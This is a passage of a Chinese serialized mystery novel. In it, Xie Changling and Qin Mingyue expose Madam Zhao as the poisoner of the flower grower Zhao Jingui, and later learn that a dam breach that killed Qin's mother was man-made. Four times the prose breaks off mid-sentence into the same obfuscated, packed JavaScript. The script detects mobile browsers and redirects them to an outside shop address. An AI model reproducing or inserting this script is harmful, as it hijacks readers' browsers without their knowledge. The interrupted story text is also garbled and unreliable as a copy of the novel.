“可这只是我的猜测，还是再将这草和花送回京中检测确认一下吧？”秦明月一边说，一边举起怀里的白面团子，“你怎么这么瘦？还是个猫妈妈呢。” “不用。” 喵~ 这次轮到谢长龄和小猫一起出声了。 —————————————— 次日清晨，天刚蒙蒙亮，京兆府的官差就踹开花匠房，将正在沤肥的陈立拽了出来。 陈立被拧着胳膊拖到院中，浑身扭动：“大人，小人这是犯了何事，为何要抓我？” 谢长龄自院外缓步走入，他并不答话，只手持一本蓝封黄页簿册在手掌心轻轻敲打：“十五年前，赵金贵还在魏武侯府当花匠，不定期会随府里马车往宫中送花。因此，结识了御花园灌园婢陈氏。” 低沉的声音顺着秋风飘出院外：“自那之后，赵金贵仿佛打通了‘任督二脉’，屡屡种出奇花，颇得贵人喜爱。不出一年，更是献上一株‘双色’牡丹，自此‘平步青云’。”他顿了顿，看向陈立陡然惨白的脸，“可那位陈姓宫女，却在赵金贵发迹之后，消失的无影无踪了。” “你知道，她去哪里了吗？” 陈立浑身颤抖，张口结舌：“我、我如何知道……” “你当然知道，你不就是陈氏和赵金贵的孩子么！”谢长龄一把将那册子扔到他面前，“陈立，当年赵金贵为迎合贵人喜好，欺骗你母亲套取情报，后来却又被赵金贵抛弃含恨而终。你母亲在宫中生下你后，为了保住你，不得已将你送入了蚕室。你潜伏进牡丹峰，不就是为了要报仇吗？陈公公——” “我不是！我不是！” 闻言，陈立突然疯魔一般挣脱官差的束缚，捂着耳朵往院外跑去。门外，立即有官差围堵上前，将他狠狠压在身下，重新捆绑起来。 谢长龄面上看不出任何情绪，抬步走进陈立的屋子里转了一圈，然后带着官差和被捆得结结实实的陈立走了出去。 院外，早已围了一圈人。 赵夫人在侍女的搀扶下，走上前朝谢长龄深深一揖：“多谢大人为亡夫主持公道，京兆府之恩，妾身没齿难忘。” 谢长龄微微颔首。秦明月从他身后去探出头：“赵夫人，你瞧见一只大白猫了吗？大约这么大，”她伸出两只手比划，“很亲人，就是刚下过崽有点瘦。” 赵夫人惨淡一笑，眼角还带着眼泪，真真我见犹怜：“那是亡夫一手养大的猫儿，名叫雪球。动物最是通人性，亡夫去后，我们就再也没见过她了。” “好吧，那我能带只小崽走吗，我家正好有只黄狸，想带回去做个伴。” 对面突然停了一瞬，赵金贵的女儿赵巧儿接过话：“可能要让姑娘失望了。雪球几日未曾回来哺乳，小猫都夭折了。” 闻言，秦明月像泄了气的皮球，重新跟回谢长龄身后，一步三回头地踏上了回京的路。 看着京兆府众人离开牡丹峰的背影，原本就强撑的赵夫人终于卸下所有伪装，靠在赵巧儿的肩上，声音哽咽：“巧儿，娘只有你了。” “娘，都过去了。坏人都受到了惩罚，我们应该觉得安慰才是。” “是啊，苍天有眼。”赵夫人轻轻握着赵巧儿的手，转身往牡丹峰内走去，“回头再找找‘雪球’那猫儿吧……” “好。” 母女俩的声音渐渐消散在秋风之中。 回京的马车内，秦明月心不在焉地一根一根捻起身上沾染的猫毛，直至马车一晃，一下子错过眼前的那根。她再没有耐心，刷地拉开车帘—— “谢大人。”名字出口，她又不知道该怎么说了。 谢长龄抬眼望向车窗，嘴角闪过一丝笑意：“怎么了？就这么舍不得那只白猫？” “有点吧，”秦明月撑起下巴，“明明是她先赖着我的，怎么吃饱喝足了，就翻脸不认人，跑走了呢。” “赖着你，就是你的了？” “我不是这个意思，就是这个小猫咪怎么能欺骗完人家感情就跑了呢。”声音越来越小，秦明月嘟嘟囔囔地放下车帘，几乎要盖住最后一句话。 再没有人看到的地方，一句低低的“要是能像猫一样就好了”，无人听闻…… —————————— 残月如钩，乌云如幕。 空旷的山谷里，树枝燃烧“噼里啪啦”的声响分外明显，一个浑身裹在黑色斗篷中的人影，左手不断往火堆中扔着衣物，口中还念念有词。 “你不要怪我狠心，是你先不顾父女情分、先对不住母亲的。如今，我们算是扯平了，从今往后，我们恩仇尽消，你也早入轮回去吧。” 跳跃的火光照耀着黑色斗篷下的人脸，一半明亮、一半阴暗。 “赵小姐，此事，恐怕恩仇难消啊。”原本寂静的山谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066610|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，突然于黑暗中窜出一群身穿京兆府制服的衙役，众人将女子团团围住。有官差飞身夺下女子手中剩余的衣物，弯腰递到绯衣圆领官袍面前。 “谢大人？” “赵小姐，”谢长龄翻检着手中的衣物，“这就是你被‘雪球’抓坏的衣物？” “是，衣物坏了，穿不了，我便拿来此处烧了。”赵巧儿放下兜帽，眼神环顾四周，“大人，连这也犯法吗？” “烧衣物不犯法，可烧证物可就犯法了。”谢长龄懒得与对方语言纠缠，直接将衣物抛给随行的仵作，“查查，这衣物上沾染的毒物，与赵金贵所中之毒，是否一样。” 仵作正伸手接过衣物，突然，一白衣妇人猛地冲进包围圈，一把夺下衣物扔进火堆。 “谢大人，我认罪！”来人转身跪在冰冷的地面上，“是我下毒谋害亲夫，是我嫁祸陈立，我都招。”妇人的头重重叩在地上。 “娘，你这是干什么，你起来，这件事……” “这件事皆是我一人所为。”妇人啪得一巴掌狠狠甩在少女的脸上，旋即，满脸泪花地抚上对方脸颊，“巧儿，是娘对不住你，要不是娘瞎了眼，你怎会摊上这么个猪狗不如的父亲。” “不是这样的，娘。是他对不住您，是他利欲熏心，罔顾人伦，您没错。” 熊熊燃烧的火堆前，母女二人抱头痛哭，谷中罡风吹过，漫天狂舞的余灰几欲将二人吞没。 悲怆的哭声在山谷回响，仿佛连山峦都在同悲。 不知何时，秦明月怀抱着大白猫，默默站到谢长龄身侧。 “都查到了？” “嗯。”大白猫将脑袋埋到秦明月的臂弯。 谢长龄重新看向火光中，痛不欲生的二人，良久才开口：“赵夫人，我知你有苦衷，但京兆府……” “我知道，我都交代，”赵夫人不顾女儿的拉扯，惨笑着转向谢长龄，“赵金贵确实是我杀的，那陈立也是我陷害的。” “可他罪有应得！这些年，他这个利欲熏心的畜生，踏着女子的血肉，平步青云，”赵夫人咬牙切齿，面露凶意，“十五年前，他为了迎合贵人喜好，欺骗陈立的母亲套取情报。如今，他又为了同样的理由，将我、将我……” “娘！”身后传来赵巧儿撕心裂肺的哭喊声，赵夫人看向女儿安抚地笑笑，落在周围人眼中，却只能看到汹涌的痛意。 “将我作为玩物，送到那些没‘根’儿的玩意儿身边。我能忍，可他万万不该把心思打到巧儿的身上！”赵夫人伸手温柔地擦去女儿面颊上的眼泪，“巧儿是我的命，是我活着的唯一理由，若有人要害她，那我只能以命搏命了。” 白日里，柔弱的赵夫人，此时眼中几乎有要凝聚成实质的狠戾。 “所以，你就想办法将毒散撒到‘雪球’的身上，赵金贵平日里甚是喜爱‘雪球’，只要他如往常般亲近‘雪球’，他就必死无疑。”秦明月伸手安抚怀里突然焦躁的猫儿。 “是。” “‘雪球’几日未归是因为中了毒，小猫崽死亡也是因为碰到了它身上的毒物。而赵小姐这些被撕碎的衣物，就是你们下毒的时候，雪球挣扎所致的吧？” 赵夫人摇摇头，眼里漾起温柔：“秦小姐，您前面说得都对。但后面不对，我的巧儿是这个世界上最好的孩子，那是她怕‘雪球’中毒过深，强按她洗澡时被抓坏的。” 兀地，对方直直看向谢长龄，下定决心般说道：“谢大人，你想知道的，我都告诉你，包括金火寮局官一事。只求您，高抬贵手，不要牵连我的女儿。” 27. 一念共潮生 等一切尘埃落定，谢长龄等人走出牡丹峰时，天光已大亮。 秦明月揉揉熬红的眼睛，捂嘴偷偷打了个哈欠。熬大夜可真是要命啊，往后自己一定“洗心革面”，重新做人，再也不做“夜猫子”了。 “明月！”一道熟悉的声音响起。 秦明月甩甩雾蒙蒙的脑子，眯眼看向前方，只见一个火红身影，像一枚流星般直直向自己扑来，饶是她下意识扎稳马步，也被来人冲撞的后退几步，还好有谢大人从后抵了一把。 “明月，破案这么有意思的事，你竟然也不带着我！”卢琼华扬起一粉拳打在秦明月肩头。 秦明月装模作样的龇了龇牙，揉着肩膀说道：“那我也罪不至死啊。” “真打重了？” “没有。” “好啊，你还诓我，罪加一等。”二人嘻嘻哈哈地打闹成一团。 卫燕锋走到谢长龄身边，意味深长地拍拍好友的肩膀：“怎么样？兄弟够意思吧，防止姑娘家里对你这种拐带少女的行为有看法，我可是拉下脸，求卢家大姑娘陪你演戏呢。” “是够有意思的。”谢长龄淡淡瞥了他一眼，“救”出自己的肩膀，往队伍中走去，“不过，我看，这脸你还拉得挺开心的。” “诶～你什么意思？我那是为你开心。” 回去的马车内，卢琼华像只叽叽喳喳的小喜鹊，围着秦明月问个不停。 “所以从一开始，你们就知道那个花匠是被陷害的？” 秦明月给了对方一个肯定的眼神。 青草叶在高度湿润的土壤中，最多半日就会湿软、褪色，从京兆府接到报案围住现场，到谢长龄等人夜里于泥土中挖出草叶，远远超过变化时间，但草叶甚至还能看到细微的绒毛，这就说明是有人为了让他们发现，故意埋进去的。 得到肯定的答复，卢琼华兴奋地“嗷呜”一声。马车外，随行的两人，诧异地对视了一眼。 马车内，卢琼华还在“摧残”当事人，秦明月整个人被摇晃地左右摆动。 “还有呢，还有呢？” “真没有什么了啊。不过就是死者身上沾有‘雪球’的毛；赵家小姐明明不是左撇子，却始终用左手，明显动作不便。” “那那个花匠的身世……” 秦明月举起双手，作投降状：“那可不是我发现的，你要想知道，得问谢大人。” 卢琼华一下子像泄了气的皮球，让她问谢大人，她不敢，可她真的好想知道啊。 怨念起，一不小心，手下的动作重了些，坐塌上原本还在酣睡的“雪球”终于不堪其扰，舔了舔被她摸过的地方，重新爬到秦明月腿上盘成一滩“猫饼”。 “她是不是在嫌弃我？”卢琼华不敢置信地看向秦明月，却见对方不知什么时候，已经靠在车壁上睡着了。 少女眼下有淡淡地青影，原本就小巧的下巴，似乎比初见时更瘦削了。她小心将一件披风盖到对方身上，掀开车帘，说道：“慢点，行稳些。明月睡着了。” 秦明月做了个梦，梦里还是在牡丹峰的那夜，她依然“丧心病狂”推倒了冰清玉洁的谢大人，但是这一次谢大人没有轻易地饶过她，而是伸出一只毛茸茸的小猫爪子，一下一下扇她的脸。一边扇，还一边问她：“知道错了没，下次还敢不敢？” 小猫爪子打在脸上可真舒服啊。知道错了，下次还敢！ 于是，下一巴掌终于重重的落到了脸上。 有点疼—— 秦明月捂着脸一下子睁开眼睛，愣愣地看着眼前一大一小两个脑袋。 “明月，你终于醒了。你要是再不醒，可能要要成为史上第一个被猫扇肿脸的人了。”卢琼华缩在马车的一角看着她。 雪球高贵冷艳地坐在秦明月身侧，功德圆满地舔着爪子。 “那你不拦着她？” “她不给我碰，还凶我。”说到这个，卢琼华更委屈了，自秦明月睡着后，但凡她想靠近，她就呼自己，这哪是猫啊，简直比狗还狗！ 行吧。安抚好卢琼华，秦明月就端着猫下了马车。谢长龄与卫燕锋两人自入城后，便与马车分开了。 之前卫教习已经交代过，昨日是卢府的婢女来家中回的话，只说卢琼华与自己相谈甚欢，想邀自己留宿夜话。加之，销钱为器一案卢府的相助，家中并未多为难就答应了。 将雪球强行塞进清圆手中，先行送回院子。她去正厅回过李夫人后，也回到了望舒阁。 望舒阁内，雪球和猫一只正抱在一起翻滚，原本以为“世子”之争，在所难免。谁知猫一只跪得比六月的雨还快，毫无芥蒂甚至略带享受的眯着眼睛任由雪球“洗头”。 光线不知道什么时空气候暗了下来，一道紫色的闪电划过，空中响起沉闷的雷声。压抑的气压中，她仿佛又置身于昨夜牡丹峰厢房内，心中萦绕着赵夫人与赵巧儿剜心刻骨的悲鸣。 据赵夫人交代，局官死亡的前一日傍晚，他自个儿赶着一辆装满金银珠宝的马车来到牡丹峰找赵金贵，二人在峰内推杯换盏到下半夜。大约丑时，才被人急匆匆喊回了京中。 席间，赵夫人负责往房内传菜，在廊下听到局官似乎拜托赵金贵替自己向贵人说情。言语中提到，只要能保住性命，便将全副身家交予赵金贵。而赵金贵自然也被财帛动了心，满口答应，竟想将亲生女儿赵巧儿作“礼物”去办成这桩交易。 知道后的赵夫人自然怒火中烧，直接一不做二不休，杀了对方。 赵金贵虽从未与赵夫人说过宫中之事，但她同谢长龄猜测，局官口中的贵人，应是宫中那位同样出自魏家的丽妃娘娘。 这就是赵夫人的全部供词。剩下的，只要谢大人回京后，查证当夜城门进出情况，顺藤摸瓜，自然会有结果。 “哗——”酝酿了许久的大雨倾盆而下。 不一会，荷举同清圆将午食摆到桌上，又在房中燃起了“降真香”，香气自薰笼内袅袅升起，混合着饭菜的烟火气，将湿意渐渐驱散…… 三日后，李敖带回了两个消息。一是销钱为器一案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070210|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的查清了，分别是户部侍郎孙显负责监守自盗，金火寮局官负责生产，而销卖则是江南织造崔荣琪。 “江南织造崔荣琪？” “对，此人是魏武侯的连襟。崔家本就与林家有竞争关系，事发后，崔荣琪为脱罪，先是嫁祸林家，后又杀局官等人灭口，已被京兆府移交给刑部了。”李敖将誊抄好的案卷交到秦明月手中，“听闻，魏武侯此时正在懋勤殿前脱冠请罪。” 确定对方不是冲着秦家来的，秦明月对此不甚关心，她摆摆手：“那第二个消息呢？” “第二件事就是——”李敖从袖中取出一封没有封口的信，“今早属下出门时，被通济盐号的林公子拦住了，他让属下把这封信转交给您。” 说实话，他也犹豫过是否要帮忙转交，自己虽不懂内宅的关窍，但私相授受一词还是听说过的。但每每回想小姐在赵府灵堂上，直接掀死者裤子验尸的样子，他又觉得是自己狭隘了。 李敖还有一丝犹豫，秦明月甚至完全没有这个意识。她直接打开信封，抽出信纸展开。 信上异常简洁，只有八个大字：明日午时，同福楼见。 这是打算说说上次言之未尽的事了？ 秦明月不甚在意地将手中的纸揉成一团，扔到猫一只脚边，给它当球玩，至于为什么不是雪球，额——只能说这是猫的游戏，不适合狗。 翌日，秦明月结束书院的课程，准时来到了同福楼。 厢房内，林肃已经等候多时了。数日不见，秦明月只觉对方像换了个人，与之前的低调贵气不同，林肃今日打扮得简直称的起“花枝招展”。 “林公子，这是家有喜事？” “来见你算不算喜事？”林肃笑眯眯地给秦明月斟了一杯茶。 “可好像之前我们每次见面都没有好事。” “今天不一样。天涯沦落客，一念共潮生，你说这算不算好事？” “你什么意思？”秦明月放下手中的杯盏，凝眸看向对方。 “意思就是——秦小姐，我知道你在查什么，而我恰好也一样。” 对方收起玩世不恭的笑容，认真回望。 门扉尽关，声音隔绝。 似是表诚意般，半晌后，林肃笑笑打破寂静：“秦小姐，不用担心。林某与你——是同路人。” “同路人？” “是啊。家姐，亦是死于十六年前那场人祸。” “哐当”一声，秦明月手中的茶盏跌落在桌面上，茶水在桌面肆意流淌。 “人祸？”她的声线有一丝不稳。 “对，人祸。”林肃起身撤开少女面前的碗碟，拿出锦帕亲自擦起水来。 “长姐如果能顺利活到今天，大概也会喜欢秦小姐的，”他背身走至窗边，打开窗户，“当年，我与长姐一同随父亲押送救灾物资到边州。天池湖决堤时，我正由奶娘哄着睡午觉，等一觉醒来，便再也见不到她了。” 林肃转头看向秦明月，幽深的瞳孔中，仿佛凝结着深不见底的忧愁。 28. 仇恨联盟 京兆府，天牢内。林肃与秦明月一前一后往羁押着陆沉菰的牢狱走去。 “你怎会知道我有京兆府的牌子？” “之前来这的那次，我看到了。” “看来林公子果然是商人，还真是物、尽、其、用。”秦明月一字一顿说道。 “我不会让你亏本的。”前面的人转过头来朝她挑眉一笑。 ...... 秦明月也不知道事情为什么会变成这样，刚刚还在同福楼内气氛低迷着。一下子，林肃就“赶”着她来了京兆府的大牢，还口口声声称“复仇者联盟”人员必须齐整，而这另一名成员，就是陆沉菰。她对来见陆沉菰倒没什么意见，只是这牌子用了，谢大人那里总会知道，她头疼该怎么与谢大人解释。 穿过熟悉的廊道，二人很快走至目的地。 “少东家、秦姑娘。”陆沉菰一眼看见他们，惊讶道，“你们怎么一起来了？” “自然——是来‘相认’的。” “什么？”陆沉菰反应了一瞬，吃惊地抬眸看向对方。 林肃自然地朝她点了点头，掸掸地上的稻草，与秦明月相向而坐。 此时，已近未时，距离下午书院开课已没有多少时间，秦明月不想耽误本就已“三天打鱼两天晒网”的课业，直接问道：“林公子，你刚刚还没说，为何那么笃定当年之事就是人祸？” “因为这个——”林肃也不墨迹，直接从怀里掏出一块半个巴掌大小、边缘被磨得光滑的铜牌。 秦明月小心接过来，就着气窗透进来的惨淡光线，细细查看。只见，铜牌的正面是一朵祥云徽记，背面则细细錾刻着“丙字三坑”的字样：“这是矿冶监的公凭？” “秦小姐博闻。”林肃不走心地恭维道，“那你可知，我们大晟的铜矿皆以‘甲乙丙丁’定方位，以数字排编号？” 看着对方用手指在大牢的南边缓缓写下一个“丙”字，秦明月心中不解：“可边州在北方啊。” “没错，可边州在北方啊。”林肃看着她，缓缓跟着重复了一句，语气里仿佛蓄着悲伤、嘲讽，还有她看不明的情绪。 难道——这块牌子是在边州决堤现场发现的，可那又能说明什么？秦明月不习惯先入为主：“会不会是有人将这块牌子不小心带到了现场？” “秦姑娘。如果我说，这块铜牌，是以我朋友的命换来的呢？” 另一道声音响起，秦明月转眸看向一旁的陆沉菰。 “陆姑娘……” 对方眼中仿佛盛满了极致地哀伤，缓缓开口：“‘天池湖’因其坐落在雪华峰顶而得名。决堤那日，你母亲，还有我的双亲，都在山上搬运木材，本打算送去城中重建房屋。”说到这里，陆沉菰似乎陷入了极其痛苦的回忆，她深吸一口气，才继续开口道：“临近中午，我和同伴溜到后山去玩，看见一队官兵推着沉重的板车往山下走。小孩子总是好奇的……我们便偷偷爬上山顶，正好撞见他们在凿山。” “我们心里觉得不对，就捡了几块崩落的矿石，想绕去前山找大人问个究竟。” 秦明月点了点头，表示正在听。 “往回跑的路上，春燕不小心扭了脚。我们就让她躲在草丛里，打算回头再来接她，谁知......”陆沉菰的眼角有泪光闪动，“谁知，我们刚将石矿交到你母亲手里，山顶突然迸发出一声巨响，紧接着漫天的大水铺天盖地席卷过来，然后、然后......”她再也说不下去，整个人背过身去，肩膀不住颤抖。 林肃轻轻拍拍陆沉菰的肩膀，看向秦明月：“事后，大家去过峰顶，结果一块矿石、一把锤钎也无，现场干净地如什么也没发生过，只有这块铜牌，被死去的春燕紧紧握在手里。” 相顾无言。良久，秦明月的声音在寂静的狱中响起：“所以，就是这场洪水，葬送了我的母亲、你的姐姐还沉菰双亲的性命？” 她抬眼从林肃、陆沉菰身上一一扫过。对面两人虽未回答，但不否认的态度已说明了一切。 “你的意思是......”秦明月复又重新盯向林肃。 “我没什么意思，只是将事情的始末告知同为苦主的秦小姐，”林肃打断她的话，“至于真相是什么，秦小姐自己心里自有答案。” 空气中凝结着几欲实质的静默，只剩清苦的广藿香香气萦绕。 “我懂了。”半晌，秦明月挤出一个难看的笑意，“时间不早了，我要回书院上课了。” 她站起身来，正打算离开。 “等等。那个——”林肃喊住她，指了指她手中的矿冶监的公凭，秦明月如梦初醒般赶紧还了回去。刚想继续往外走，就听见林肃再度开口：“秦姑娘，此事，我希望只有我们三人知晓，莫要有第四个人出现，包括——你的父亲。” 什么？秦明月面露不解，很快又从对面二人眼中读懂了他们的意思。母亲当年曾拿到过一块矿石，天池湖决堤获救后，她有太多时间与父亲相处，可结果...... “以及这次的案子，与其说是销钱为器，不如说是——炼铜为器。”背后，林肃再度予以重重一击。 回应他的，是秦明月凌乱的脚步声。 ———————————— 直至走出京兆府的大牢，明晃晃的阳光重新照到身上，秦明月的手脚仍觉冰凉。 她听懂了。是有人私采铜矿，被发现后，炸毁天池湖，毁尸灭迹。而她的母亲就死于这场人祸，她父亲就算不是幕后黑手，也极有可能是沉默的“帮凶”。 父亲—— 这么长时间的相处是真的，关爱是真的，萌生的感情、也是真的，可若真若她想的那样......她忍不住打了个寒颤。 “秦小姐、秦小姐？”连续的呼唤打断了她的思绪。 秦明月暂时撇开脑中的“浓雾”，抬眼望去。只见一个熟悉的身影驾着马车停到她身前，是谢大人的侍卫钟鸣。 “钟侍卫？” “哎，是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076778|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”对方笑眯眯地看向自己，露出一口健康的大白牙，“我家大人让我来此处等姑娘，大人说‘姑娘从此处回书院，路程远，不免耽误了书院的课程’，所以特让小的送您去书院。” 渐渐西斜的日光，浸染着钟鸣的笑意。他还是知道了，却又什么都没问，好像只关心她进学会不会迟到。 秦明月裹紧了身上的衣裙，直接登上了马车。 等到书院时，除了自己和教习，人都已经来齐了。 顾克柔坐在教室的最后一排，朝她挥了挥手，示意她坐到自己身边来。 “表姐，你中午去哪里了？怎么来这么晚。” “有点事。” “神神秘秘。”顾克柔不满地皱了皱小鼻子，重新亲热地拽住她的胳膊，将她拉低，“表姐，你听说了吗？魏来仪家出大事了。” “知道。”见对方一副非要自己讲清楚的样子，秦明月继续开口，“不就是魏大人的连襟犯了大禁，魏家跟着倒霉了么。”谁又知道自己的父亲是不是在里面也扮演着什么角色呢，秦明月心中苦涩。 “我就知道！你肯定知道的不全。”顾克柔突然像得到夸奖的猫一只，洋洋得意竖起尾巴来，“表姐，你有没有发现今天魏来仪没来？我听闻她不知道什么原因惹怒了魏武侯，被脱簪禁服，关在房中抄写《女诫》呢，每日只许进少许水米。” “这你都知道？”秦明月惊讶地看向对方，这种惩罚对于京中贵女来说，几乎已是顶格的惩戒了。不说其他，若要是有消息传出府外，足以坏了女子名声。 可，克柔虽调皮，但到底不是会胡乱编排之人。她想了想，重新开口道：“克柔，此事需得慎言。” “我懂的。”对方朝她眨了眨眼睛，“这事还是从宫里那位娘娘处传出来的。即使不为她着想，我还得掂量掂量顾家的‘钉子’呢。就是不知她到底犯了多大的错，竟引得如此重罚。” 前排，教习凌厉的眼神扫视过来，二人赶紧重新坐直身体，作出一副认真听讲的模样，只是思绪都不知飘向了何方。 有心事的下午，时间过得分外漫长。 好不容易挨到下学，秦明月终于登上了秦府的马车，与梅兰两姐妹一同往家中驶去。 到了秦府，等秦梅风的身影消失在廊下，秦兰意才转身截住秦明月。 “大姐姐，母亲院中的菊花开了，前几日你不在，现下你回来了，我们一起去看看吧。”少女僵硬地揽住她的胳膊，声音却刻意放得柔缓。 这个二妹妹何时与自己能有一起赏菊的默契了？这八成是李夫人的意思吧。秦明月也不揭穿，顺着少女的意思，往李夫人的懿德堂走去。 无人见到的花墙另一侧，另一抹橘色的身影，也悄身远去。 等秦明月到达懿德堂时，才发现院中已被清理的干干净净，平日里各门处的女使、小厮都不见身影。秦兰意将她送进正堂，欠身与李夫人行过礼后，也直接退下了。临走前，还不忘掩上了房门。 29. 恶钱现身 懿德堂内。李氏一反常态，没有坐在上首，而是坐在东席的红木缠枝椅上。她双眸紧闭，白皙的手指一圈一圈按着太阳穴。 “月儿，坐。”李氏用眼神示意秦明月坐在身侧的另一个位置上，开口道，“前几日，你可是一直与京兆府的谢大人在一处？” 虽是疑问，语气中却满是笃定。秦明月意外地看向对面，这是有什么风吹到府中了？虽然她其实从未将京中闺训放在心上，要不是卫教习提出这个主意，她倒是不在意如实告知家中的，可李夫人今日...... 其实，经过这一段时间的相处，她也看得出来李氏为人坦荡，绝不是口是心非、奸邪阴险之辈。 想到这，她缓缓点头。 见她肯定，李氏深深叹了口气。从袖中掏出一封织锦封套的帖子，放在桌面上。 秦明月接过，抽出一张朱红色洒金信笺，低头扫视，眉头越看越紧：“这？怎么只有您和我的名字？” “这是‘中秋恩宴帖’，”李氏解释道，“自陛下继位以来，皇后娘娘每年中秋节前，便会向三品以上诰命夫人发出此帖，邀她们于中秋当日入宫赴‘御苑赏花宴’。名为赏花庆节，说到底不过是稳固前朝后宫、笼络人心的手段。” “可我并不是什么诰命夫人。”秦明月疑惑。 “是啊。可今日女官来宣帖时，话里话外独独提了你的名字，”李氏苦笑，“怨不得我多想。京中早有风声，都说如今东宫太子与谢大人皆已及冠，正是该议亲的年岁。今年这赏花宴怕是也存了这样的心思，太子妃左不过是那些人里挑，只有谢大人......” 秦明月沉默了，她想不明白自己究竟是什么时候落了宫中的眼。若是为着父亲的地位，那兰意显然是比自己更好的选择，她自幼受礼教熏陶、学通诗画，一言一行皆是京中贵女的典范。还是因为当日在牡丹峰，那位被谢长龄“请”出去的内监？她想了想，自己很快就否定了，不说只是一起查案，即便真有人疑心二人有私，宫里又岂是能由着儿女私情定事的地方。 “月儿，你告诉我一句准话，你与谢大人......若真有其事，府里自当为你高兴。若没有，咱们也要有个应对之策。”李氏语气诚恳。 “没有。” “那就好。”对方像是松了一口气，“你既这么说我就放心了。旁人只道那谢大人鲜花着锦、烈火烹油，可内里家族凋零、根基浅薄，身后既无至亲扶持，又缺家族倚仗，终究不是良配。” 不知为何，听李氏如此说，秦明月只觉心里不得劲，想也不想辩驳道：“婚姻嫁娶也不全是交易，谢大人自会找到那个与他情意相投之人。” 李氏心中诧异，面上却不显，转过话头：“也是。你父亲传了信回来，岭南那边的事情差不多快结束了，约摸这两天就能回京。” 父亲…… 想起李氏刚刚说的话，秦明月一边往望舒阁走，一边回忆中午林肃与陆沉菰说的事。 父亲真的是那种为一己前程，罔顾性命之人吗？她有一种想要直接与父亲对峙的冲动，却又很快掐熄了自己的想法。 林肃最后还暗示了这次销钱为器案子可能与当年边州之事有关，想到这她突然想起李敖在金火寮发现的那半枚铜钱，急忙加快脚步往望舒阁走去。 第二日一早，秦明月照常与梅兰二姐妹前往书院。 课间，她拉着卢琼华在斋舍寻到卫燕锋。 “卫教习，先前的事还没来得及谢过你和琼华，不知道明日你可有空？若得闲，晌午我在同福楼设宴，请大家一聚。”明天是书院的休沐日，秦明月单刀直入。 见惯了闺秀们的谨言慎行，卫燕锋一时有些反应不过来，却还是本能地点头应下。 “那谢大人处，还要辛苦卫教习帮忙转告了。” “嗯？”卫燕锋一下子警敏起来，这莫不是为着绥之来的？自己估计只是个顺带的，他看了一眼旁边一脸懵懂无知的、同样被顺带的卢琼华，露出一个全知的笑容，“放心，放心，一定带到。” 等到了设宴当天，卫燕锋依然自以为“心知肚明”地扮演好月老的角色，自顾自拉着卢琼华坐到了自己一侧，只要眼瞅着卢琼华想要举杯说两句，就或是急忙端起酒杯相碰，或是与她夹菜，铁了心要拉着她和自己一起做“花瓶”，几回下来，神经大条如卢琼华，也觉出不对来。 “明月，我总觉的卫教习怪怪的，”席间，卢琼华悄咪咪与秦明月咬起耳朵，“他该不会是对我有意思吧。” “也不是没有可能，”另一个没有情丝的人认同地摸摸下巴，“你怎么想的？” “我觉得——也不是不能接受。” “那就再看看，不行当面问问。” “好，那我再观察观察。”二人迅速同时坐直身体。 接下来的时间，秦明月虽然还有正事，但依然不忘为了好友，观察起对方的“追求者”来。很显然，几轮过去，卫教习“通过”了观察。二人确定过一个眼神，卢琼华直愣愣站起身：“卫教习，菜好像不够了，我们再去看看吧。” 呔~秦明月无语地捂住眼睛，这找的都是啥理由啊，小二是干嘛的，哪里就需要两个人下去再看了。 好在卫教习情迷心窍，不但没什么异议，兴高采烈地跟出去了。临走前，还朝谢大人偷偷抛了个得意的眼神。 果然，戏文里说得不错，心悦之人应许，恰似凯旋收兵。 目送共商“人生大事”的二人出去，秦明月收回欣慰的笑容，转头看向谢长龄。 此刻，她才注意到，谢大人今日穿了一身天青色水衫广袖，腰束和田玉带，有白色衬袍从领口间隐隐透出，眸光清俊，端的是一副带点人间艳色的神祗模样。 好看是好看，可她也只是礼貌地欣赏两眼，就切入正题：“谢大人，销钱为器一案，现在算是结案了吗？” 谢长龄点头默认，疑惑地看向对方：“案卷我已让人誊抄一封送到你府中了，可是还有什么问题？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080089|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 